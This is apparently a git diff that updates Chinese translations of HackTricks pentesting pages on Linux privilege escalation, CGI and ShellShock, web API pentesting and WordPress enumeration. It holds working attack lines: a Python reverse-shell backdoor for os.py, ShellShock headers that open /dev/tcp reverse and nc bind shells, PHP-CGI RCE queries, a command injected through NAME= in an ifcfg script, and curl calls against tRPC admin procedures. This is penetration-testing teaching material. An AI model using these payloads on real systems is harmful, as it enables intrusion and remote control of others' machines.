``` -为了 **读取日志,该组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 +为了 **读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 ### Shell 文件 ```bash @@ -1402,27 +1407,27 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### 通用凭据搜索/Regex -你还应该检查文件名或内容中包含 "**password**" 这个词的文件,并且检查日志中是否包含 IP 和 邮件地址,或哈希的正则表达式。\ -我不会在这里列出如何完成所有这些检查,但如果你感兴趣,可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 +你还应检查文件名中或内容中包含单词 "**password**" 的文件,也应检查日志中是否有 IP 和邮箱,或哈希的正则表达式。\ +我不会在此列出如何完成所有这些检查,但如果你感兴趣可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最新检查。 ## 可写文件 ### Python library hijacking -如果你知道 python 脚本将从 **在哪里** 被执行,并且你 **可以在该文件夹写入** 或者 **修改 python libraries**,你就可以修改 OS 库 并对其进行 backdoor(如果你能在 python 脚本将被执行的位置写入,复制并粘贴 os.py library)。 +如果你知道从 **哪里** 将要执行某个 python script,并且你**可以在该目录写入**或可以**修改 python libraries**,你就可以修改 OS 库并 backdoor it(如果你能写入 python script 将被执行的位置,复制并粘贴 os.py 库)。 -要 **backdoor the library**,只需在 os.py library 的末尾添加以下行(更改 IP 和 PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate 利用 +### Logrotate exploitation A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 +> This vulnerability affects `logrotate` version `3.18.0` and older More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). @@ -1432,13 +1437,13 @@ This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**漏洞参考:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -如果出于任何原因,用户能够在 _/etc/sysconfig/network-scripts_ **写入** 一个 `ifcf-` 脚本,或者能够 **调整** 一个已有脚本,那么你的 **system is pwned**。 +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts,例如 _ifcg-eth0_,用于网络连接。它们看起来就像 .INI 文件。然而,它们在 Linux 上被 \~sourced\~,由 Network Manager (dispatcher.d) 执行。 +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). -在我的案例中,这些 network 脚本中的 `NAME=` 属性没有被正确处理。如果名称中有 **空白/空格,系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1446,15 +1451,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_注意 Network 和 /bin/id_ 之间的空格_) +(_Note the blank space between Network and /bin/id_) ### **init, init.d, systemd, and rc.d** -目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **scripts**,这是 **经典的 Linux 服务管理系统**。该目录包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,或者通过位于 `/etc/rc?.d/` 的符号链接来调用。Redhat 系统中的替代路径为 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **脚本**,这是经典的 Linux 服务管理系统。该目录包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。它们可以直接执行,也可以通过位于 `/etc/rc?.d/` 的符号链接来调用。Redhat 系统的另一个路径是 `/etc/rc.d/init.d`。 -另一方面,`/etc/init` 与 **Upstart** 相关联,Upstart 是 Ubuntu 引入的较新 **service management**,使用配置文件来管理服务。尽管已向 Upstart 迁移,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置一起被使用。 +另一方面,`/etc/init` 与 **Upstart** 相关,Upstart 是由 Ubuntu 引入的较新的 **service management**,使用配置文件来管理服务。尽管已经向 Upstart 迁移,但由于 Upstart 中存在兼容层,SysVinit 脚本仍然与 Upstart 配置一起被使用。 -**systemd** 作为现代的初始化和服务管理器出现,提供了按需启动守护进程、automount 管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`(发行版包)和 `/etc/systemd/system/`(管理员修改)中,从而简化了系统管理流程。 +**systemd** 作为现代的初始化和服务管理器出现,提供了按需启动守护进程、automount 管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/`(用于发行版包)和 `/etc/systemd/system/`(用于管理员修改),从而简化系统管理流程。 ## Other Tricks @@ -1481,7 +1486,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks 通常 hook 一个 syscall,以将特权的内核功能暴露给 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用冒充该 manager,从而在已经 root 的设备上升级为 root。更多信息和利用细节见: +Android rooting frameworks 通常会 hook 一个 syscall,以向 userspace manager 暴露特权的内核功能。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用伪装成 manager,并在已 root 的设备上升级为 root。更多信息和利用细节请见: {{#ref}} @@ -1490,10 +1495,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -VMware Tools/Aria Operations 中基于 regex 的 service discovery 可能会从进程命令行中提取二进制路径并在特权上下文下以 -v 执行它。宽松的匹配模式(例如使用 \S)可能会匹配攻击者放在可写位置(例如 /tmp/httpd)中的监听器,导致以 root 身份执行(CWE-426 Untrusted Search Path)。 - -了解更多并查看适用于其他 discovery/monitoring stacks 的通用模式: +VMware Tools/Aria Operations 中基于 regex 的 service discovery 可以从进程命令行中提取二进制路径并在特权上下文中以 -v 执行。宽松的模式(例如使用 \S)可能会匹配攻击者放置在可写位置(例如 /tmp/httpd)的监听器,从而导致以 root 执行(CWE-426 Untrusted Search Path)。 +了解更多并查看适用于其他 discovery/monitoring 堆栈的通用模式: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index cd81f8969..edf32d080 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,20 +5,20 @@ ## 信息 -The **CGI 脚本是 perl 脚本**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **上传 perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **将扩展名从** **.pl** **更改为** **.cgi**, 给予 **执行权限** \(`chmod +x`\) 并 **从 web 浏览器访问** 该 reverse shell 来执行它。 +The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) ## **ShellShock** -**ShellShock** 是一个影响广泛使用的 **Bash** 命令行 shell(在类 Unix 操作系统中)的漏洞。它利用了 Bash 执行由应用程序传入命令的能力。该漏洞存在于对 **环境变量** 的操控中,环境变量是影响进程如何运行的动态命名值。攻击者可以通过将 **恶意代码** 附加到环境变量上来利用此漏洞,当变量被接收时这些代码会被执行,从而可能危及系统安全。 +**ShellShock** 是一个影响 Unix 系统中广泛使用的 **Bash** 命令行 shell 的 **vulnerability**。它利用了 Bash 运行由应用传入命令的能力。漏洞在于对 **环境变量** 的操控,环境变量是影响进程运行的动态命名值。攻击者可以通过在环境变量中附加 **恶意代码** 来利用此漏洞,这些代码在接收该变量时会被执行,从而可能导致系统被攻破。 -利用此漏洞时,**页面可能抛出错误**。 +利用此漏洞时,**页面可能会抛出错误**。 -你可以通过注意其使用的是 **旧的 Apache 版本** 和 **cgi_mod** \(带有 cgi 文件夹\),或使用 **nikto** 来**发现**此漏洞。 +你可以通过注意它使用了 **旧的 Apache 版本** 和 **cgi_mod** \(with cgi folder\),或使用 **nikto** 来**发现**此漏洞。 ### **测试** -大多数测试基于使用 echo 输出某些内容,并期望该字符串出现在 web 响应中。如果你认为某个页面可能存在漏洞,搜索所有 cgi 页面并进行测试。 +大多数测试是基于 echo 某些内容并期望该字符串在 web 响应中返回。如果你认为某个页面可能存在漏洞,搜索所有 cgi 页面并对其进行测试。 **Nmap** ```bash @@ -37,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -### 漏洞利用 +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## 集中式 CGI dispatchers(通过 selector parameters 在单一 endpoint 路由) +## 中央化 CGI 分发器(通过选择器参数进行单端点路由) -许多嵌入式 web UIs 在单一 CGI endpoint(例如 `/cgi-bin/cstecgi.cgi`)后面复用数十个有权限的操作,并使用像 `topicurl=` 这样的 selector parameter 将请求路由到内部函数。 +许多嵌入式 web UI 在单个 CGI 端点后复用数十个具有特权的操作(例如,`/cgi-bin/cstecgi.cgi`),并使用像 `topicurl=` 的选择器参数将请求路由到内部函数。 Methodology to exploit these routers: -- 枚举 handler names:scrape JS/HTML、brute-force with wordlists,或 unpack firmware 并用 grep 搜索 dispatcher 使用的 handler strings。 -- 测试 unauthenticated reachability:有些 handlers 忘记做 auth checks,可以被直接调用。 -- 关注那些调用 system utilities 或 touch files 的 handlers;弱 validators 通常只阻止少数字符,可能会忽略前导连字符 `-`。 +- 枚举 handler 名称:scrape JS/HTML、brute-force 使用 wordlists,或 unpack firmware 并用 grep 搜索分发器使用的 handler 字符串。 +- 测试未认证可达性:某些 handler 忘记执行 auth checks 并可直接被 callable。 +- 关注会调用 system utilities 或 touch files 的 handler;弱校验器通常只阻止少数字符,可能会漏掉前导连字符 `-`。 Generic exploit shapes: ```http @@ -77,29 +77,29 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` 检测与加固: -- 注意对集中式 CGI 端点的未认证请求,其中 `topicurl` 被设置为敏感处理程序。 +- 监控对集中式 CGI 端点的未认证请求,检查 `topicurl` 是否指向敏感处理程序。 - 标记以 `-` 开头的参数(argv 选项注入尝试)。 -- 厂商:对所有会改变状态的处理程序强制认证,使用严格的 allowlists/类型/长度 进行验证,并且绝不要将受用户控制的字符串作为命令行标志传递。 +- 厂商:对所有会改变状态的处理程序强制认证,使用严格的允许列表/类型/长度进行验证,且绝不将用户控制的字符串作为命令行标志传递。 ## 旧版 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -基本上,如果 cgi 已启用且 php 版本“旧”(<5.3.12 / < 5.4.2),你可以执行代码。 -要利用此漏洞,你需要在不发送参数(尤其是不发送字符 "=")的情况下访问 web 服务器上的某个 PHP 文件。 -例如,为了测试该漏洞,你可以访问 `/index.php?-s`(注意 `-s`),并且 **应用程序的源代码将出现在响应中**。 +基本上,如果 cgi 启用且 php 是 "旧版" \(<5.3.12 / < 5.4.2\) 你可以执行代码。 +为了利用此漏洞,你需要在不发送参数的情况下访问 Web 服务器上的某个 PHP 文件 \(特别是不要发送字符 "="\)。 +然后,为了测试该漏洞,你可以访问例如 `/index.php?-s` \(注意 `-s`\) 并且 **应用程序的源代码将出现在响应中**。 -然后,为了获得 **RCE**,你可以发送这个特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input`,并将要执行的 **PHP 代码** 放在 **请求体中。示例:** +然后,为了获得 **RCE**,你可以发送这个特殊查询: `/?-d allow_url_include=1 -d auto_prepend_file=php://input`,并将要执行的 **PHP 代码** 放在 **请求体** 中。**示例:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**更多关于该漏洞及可能利用的信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**有关该漏洞及可能利用的更多信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **代理 \(MitM 针对 Web 服务器请求\)** +## **Proxy \(MitM to Web server requests\)** -CGI 会为 http 请求中的每个 header 创建一个环境变量。例如:"host:web.com" 会被创建为 "HTTP_HOST"="web.com" +CGI 为 HTTP 请求中的每个 header 创建一个环境变量。例如:"host:web.com" 会被创建为 "HTTP_HOST"="web.com" -由于 HTTP_PROXY 变量可能会被 web 服务器使用。尝试发送一个包含以下内容的 **header**: "**Proxy: <IP_attacker>:<PORT>**",如果服务器在会话期间执行任何请求,你就能捕获服务器发出的每个请求。 +由于 HTTP_PROXY 变量可能会被 web server 使用,尝试发送一个包含以下内容的 **header**:**Proxy: <IP_attacker>:<PORT>**。如果服务器在会话期间执行了任何 request,你就能够捕获服务器发出的每个 request。 -## **References** +## **参考资料** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index f1c40cbc4..8acc19f86 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -4,52 +4,94 @@ ## API Pentesting Methodology Summary -Pentesting APIs 涉及一种结构化的方法来发现漏洞。本指南概括了一种全面的方法论,强调实用的技术和工具。 +对 API 进行 pentesting 需要采用有结构的方法来发现漏洞。本指南概述了全面的方法论,强调实用的技术和工具。 -### **Understanding API Types** +### **理解 API 类型** -- **SOAP/XML Web Services**: 使用 WSDL 格式进行文档编制,通常在 `?wsdl` 路径中找到。工具如 **SOAPUI** 和 **WSDLer** (Burp Suite Extension) 对于解析和生成请求非常重要。示例文档可在 [DNE Online](http://www.dneonline.com/calculator.asmx) 获取。 -- **REST APIs (JSON)**: 文档通常以 WADL 文件形式提供,但像 [Swagger UI](https://swagger.io/tools/swagger-ui/) 这样的工具提供了更用户友好的交互界面。**Postman** 是一个创建和管理示例请求的有价值工具。 -- **GraphQL**: 一种用于 API 的查询语言,提供对 API 中数据的完整和可理解的描述。 +- **SOAP/XML Web Services**: 使用 WSDL 格式作为文档,通常位于 `?wsdl` 路径下。像 **SOAPUI** 和 **WSDLer** (Burp Suite Extension) 这样的工具对于解析和生成请求非常有用。示例文档可在 [DNE Online](http://www.dneonline.com/calculator.asmx) 访问。 +- **REST APIs (JSON)**: 文档常以 WADL 文件形式提供,但像 [Swagger UI](https://swagger.io/tools/swagger-ui/) 这样的工具能提供更友好的交互界面。**Postman** 是用于创建和管理示例请求的有力工具。 +- **GraphQL**: 一种为 API 提供完整且可理解数据描述的查询语言。 -### **Practice Labs** +### **实践实验室** -- [**VAmPI**](https://github.com/erev0s/VAmPI): 一个故意存在漏洞的 API,供实践使用,涵盖 OWASP 前 10 大 API 漏洞。 +- [**VAmPI**](https://github.com/erev0s/VAmPI): 一个刻意设计为有漏洞的 API,用于实践练习,覆盖 OWASP top 10 API vulnerabilities。 -### **Effective Tricks for API Pentesting** +### **API Pentesting 的有效技巧** -- **SOAP/XML Vulnerabilities**: 探索 XXE 漏洞,尽管 DTD 声明通常受到限制。如果 XML 保持有效,CDATA 标签可能允许有效负载插入。 -- **Privilege Escalation**: 测试具有不同权限级别的端点,以识别未授权访问的可能性。 -- **CORS Misconfigurations**: 检查 CORS 设置,以寻找通过已认证会话的 CSRF 攻击的潜在利用可能性。 -- **Endpoint Discovery**: 利用 API 模式发现隐藏的端点。像模糊测试工具这样的工具可以自动化此过程。 +- **SOAP/XML Vulnerabilities**: 探索 XXE 漏洞,尽管 DTD 声明通常会受限。如果 XML 保持有效,CDATA 标签可能允许插入 payload。 +- **Privilege Escalation**: 针对不同权限级别的端点进行测试,以识别未经授权访问的可能性。 +- **CORS Misconfigurations**: 检查 CORS 设置是否可被利用,通过来自已认证会话的 CSRF 攻击进行滥用。 +- **Endpoint Discovery**: 利用 API 模式发现隐藏端点。像 fuzzers 这样的工具可以自动化此过程。 - **Parameter Tampering**: 尝试在请求中添加或替换参数,以访问未授权的数据或功能。 -- **HTTP Method Testing**: 变更请求方法(GET, POST, PUT, DELETE, PATCH)以发现意外行为或信息泄露。 -- **Content-Type Manipulation**: 在不同的内容类型(x-www-form-urlencoded, application/xml, application/json)之间切换,以测试解析问题或漏洞。 -- **Advanced Parameter Techniques**: 在 JSON 有效负载中测试意外数据类型,或玩弄 XML 数据以进行 XXE 注入。同时,尝试参数污染和通配符字符以进行更广泛的测试。 -- **Version Testing**: 较旧的 API 版本可能更容易受到攻击。始终检查并测试多个 API 版本。 +- **HTTP Method Testing**: 变换请求方法(GET, POST, PUT, DELETE, PATCH)以发现意外行为或信息泄露。 +- **Content-Type Manipulation**: 在不同的 content types(x-www-form-urlencoded, application/xml, application/json)之间切换,以测试解析问题或漏洞。 +- **Advanced Parameter Techniques**: 在 JSON payload 中测试意外的数据类型或操作 XML 数据进行 XXE 注入。还要尝试 parameter pollution 和通配符字符以进行更广泛的测试。 +- **Version Testing**: 旧版本的 API 可能更容易受到攻击。务必检查并测试多个 API 版本。 -### **Tools and Resources for API Pentesting** +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): 非常适合发现 API 端点。使用它扫描和暴力破解目标 API 的路径和参数。 +现代 TypeScript 堆栈通常使用 tRPC 和 Zod 进行输入验证。在 tRPC 中,`protectedProcedure` 通常确保请求具有有效的 session (authentication),但并不意味着调用者具有正确的 role/permissions (authorization)。这种不匹配会在敏感过程仅由 `protectedProcedure` 进行限制时导致 Broken Function Level Authorization/BOLA。 + +- Threat model: 如果缺少角色检查,任何低权限的已认证用户都可以调用本应仅限管理员的过程(例如 background migrations、feature flags、tenant-wide maintenance、job control)。 +- Black-box signal: 当 `POST /api/trpc/.` 端点对于普通账户也能成功且本应仅限管理员时。自助注册会大大增加可利用性。 +- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +实际利用 (black-box) + +1) 注册一个普通账号并获取经过认证的会话(cookies/headers)。 +2) 通过“list”/“all”/“status”接口枚举后台作业或其他敏感资源。 +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) 调用特权操作,例如重启作业: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +需评估的影响 + +- 通过非幂等重启导致的数据损坏:强制并发运行迁移/worker 可能产生竞态条件并造成不一致的部分状态(静默数据丢失、分析功能损坏)。 +- DoS via worker/DB starvation:重复触发高负载任务可能耗尽 worker 池和数据库连接,导致租户范围的服务中断。 + +### **用于 API Pentesting 的工具与资源** + +- [**kiterunner**](https://github.com/assetnote/kiterunner):非常适合发现 API endpoints。用于扫描并对目标 API 的路径和参数进行 brute force。 ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj 是一个命令行工具,旨在通过检查相关的 API 端点的弱身份验证来协助审计 **暴露的 Swagger/OpenAPI 定义文件**。它还提供手动漏洞测试的命令模板。 -- 其他工具如 **automatic-api-attack-tool**、**Astra** 和 **restler-fuzzer** 提供针对 API 安全测试的定制功能,从攻击模拟到模糊测试和漏洞扫描。 -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): 这是一个基于 OAS 文件审计您的 API 的 API 安全工具(该工具用 Rust 编写)。 +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj 是一个命令行工具,旨在通过检查相关的 API 端点是否存在弱身份验证来协助审计 **exposed Swagger/OpenAPI definition files**。它还提供用于手动漏洞测试的命令模板。 +- 其他工具如 **automatic-api-attack-tool**、**Astra** 和 **restler-fuzzer** 为 API 安全测试提供定制化功能,范围包括攻击模拟、fuzzing 和漏洞扫描。 +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): 它是一个基于 OAS 文件对 API 进行审计的 API 安全工具(该工具用 rust 编写)。 -### **学习和实践资源** +### **学习与练习资源** -- **OWASP API Security Top 10**: 理解常见 API 漏洞的必读材料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。 -- **API 安全检查清单**: 一个全面的 API 安全检查清单 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))。 -- **Logger++ 过滤器**: 用于寻找 API 漏洞,Logger++ 提供有用的过滤器 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。 -- **API 端点列表**: 一个经过策划的潜在 API 端点列表,用于测试目的 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 +- **OWASP API Security Top 10**: 理解常见 API 漏洞的必读材料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: 用于保护 API 的全面检查清单 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: 用于追踪 API 漏洞,Logger++ 提供了有用的过滤器 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: 为测试目的整理的潜在 API 端点列表 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). -## 参考 +## 参考资料 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 6403d1ff8..47444726a 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## 基本信息 -- **Uploaded** 文件存放于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 **theme twentytwelve** 可以 **access** **404.php** 文件,路径为: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - 在 **wp-config.php** 中你可以找到数据库的 root 密码。 -- 默认登录路径可检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- 默认登录路径可检查:_**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Main WordPress Files** +### **主要 WordPress 文件** - `index.php` -- `license.txt` 包含有用信息,例如安装的 WordPress 版本。 -- `wp-activate.php` 在设置新 WordPress 站点时用于电子邮件激活流程。 -- 登录文件夹(可能被重命名以隐藏): +- `license.txt` 包含有用信息,例如已安装的 WordPress 版本。 +- `wp-activate.php` 在设置新的 WordPress 站点时用于电子邮件激活过程。 +- 登录相关文件夹(可能被重命名以隐藏): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` 是一个表示 WordPress 功能的文件,该功能允许以 HTTP 作为传输机制、以 XML 作为编码机制来传输数据。此类通信已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。 -- `wp-content` 文件夹是存放插件和主题的主要目录。 -- `wp-content/uploads/` 是平台上上传文件存储的目录。 -- `wp-includes/` 是存放核心文件的目录,例如证书、字体、JavaScript 文件和小部件。 -- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中,WordPress 会生成一个包含所有公开帖子和可公开查询的帖子类型与分类法的 sitemap XML 文件。 +- `xmlrpc.php` 是一个文件,表示 WordPress 的一个功能,该功能使数据可以通过以 HTTP 作为传输机制、以 XML 作为编码机制的方式进行传输。这种类型的通信已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。 +- `wp-content` 文件夹是存储 plugins 和 themes 的主要目录。 +- `wp-content/uploads/` 是存储任何上传到平台的文件的目录。 +- `wp-includes/` 这是存放核心文件的目录,例如证书、字体、JavaScript 文件和 widgets。 +- `wp-sitemap.xml` 在 Wordpress 5.5 及更高版本中,Worpress 会生成一个包含所有公开帖子和可公开查询的 post types 及 taxonomies 的站点地图 XML 文件。 **Post exploitation** -- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、authentication keys and salts,以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在排错时很有用。 +- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、authentication keys and salts,以及数据库表前缀。该配置文件还可用于激活 DEBUG 模式,这在故障排除时很有用。 -### Users Permissions +### 用户权限 - **Administrator** -- **Editor**: 发布并管理自己与他人的文章 +- **Editor**: 发布并管理自己和他人的文章 - **Author**: 发布并管理自己的文章 -- **Contributor**: 编写并管理自己的文章但不能发布它们 -- **Subscriber**: 查看文章并编辑他们的个人资料 +- **Contributor**: 撰写并管理自己的文章,但无法发布它们 +- **Subscriber**: 浏览文章并编辑他们的个人资料 -## **Passive Enumeration** +## **被动枚举** -### **Get WordPress version** +### **获取 WordPress 版本** 检查是否能找到文件 `/license.txt` 或 `/readme.html` -在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut 